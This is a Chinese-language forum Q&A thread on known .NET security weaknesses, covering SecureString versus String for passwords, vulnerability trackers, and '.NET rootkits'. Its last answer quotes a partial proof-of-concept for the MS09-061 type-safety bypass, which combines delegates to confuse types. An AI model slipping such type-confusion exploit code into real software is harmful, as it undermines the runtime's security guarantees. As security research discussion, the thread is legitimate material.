【发布时间】:2008-12-23 11:49:35
【问题描述】:
我正在对 .NET 安全性进行一些研究。大多数资料只描述了 .NET 安全机制,但没有提及可能存在的漏洞或需要注意的事项。你知道.NET平台的安全问题吗?
【问题讨论】:
我正在对 .NET 安全性进行一些研究。大多数资料只描述了 .NET 安全机制,但没有提及可能存在的漏洞或需要注意的事项。你知道.NET平台的安全问题吗?
【问题讨论】:
.NET 世界中安全问题的主要来源是使用它的开发人员。使用任何框架编写应用程序都很容易,.NET 框架也好不到哪里去。
除此之外,我能想到的唯一主要问题是所有使用 String 而不是 SecureString 来存储密码等敏感数据的控件。 .NET 框架的每个版本都比这里的上一个版本好,但我认为仍然有几个常用控件不使用它们。
可以将 SecureString 视为存储在加密内存中并在使用后从内存中删除的字符串。由于 .NET 中的字符串是不可变的,因此任何新字符串都将存储在内存中的共享位置,以便具有相同值的新字符串可以共享该内存位置。这意味着存储在字符串中的敏感数据相对容易获取。
【讨论】:
你可以看看Secunia。他们展示了 .NET 2.0 的 14 个漏洞,零个未修补。
【讨论】:
您确实需要查看 Keith Brown 的 excellent book on the topic,这是一个很好的起点。到现在它已经 10 岁了,但概念没有改变。
【讨论】:
对于一个非常有趣但不一定可利用(因为无论如何您都需要 root 访问权限),请查看 Erez Metula 的 this talk at this year's Blackhat(嗯,现在继续),关于使用一些技术来破解 .NET Framework并实现“.NET Rootkits”。
【讨论】:
这是MS09-061 的漏洞利用。
在我的示例类型安全漏洞中,我 使用联合绕过类型安全。 那不是真正的安全 脆弱性,因为这样的工会 需要完全的信任。然而,如果我们 可以组合两个不同的委托 我们可以做同样的类型,因为 缺少类型检查这是 可能。
如果你使用 TypeSafetyExploitPoC.cs 并替换 TypeSystemHole 方法 使用以下内容并添加参考 到一个包含 CombinePoCHelper.il(用 MSIL 编写 因为这是最简单的方法 编写自己的 MulticastDelegate 可以调用受保护的子类 CombineImpl 方法)。
delegate void AnotherDelegate(Union1 u2);
static Union1 TypeSystemHole(Union2 u2)
{
Union1 u1 = null;
CombineHelper del1 = delegate { };
AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };
del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);
del1(u2);
return u1;
}
恕我直言,再次发生这种情况的可能性很低。
【讨论】: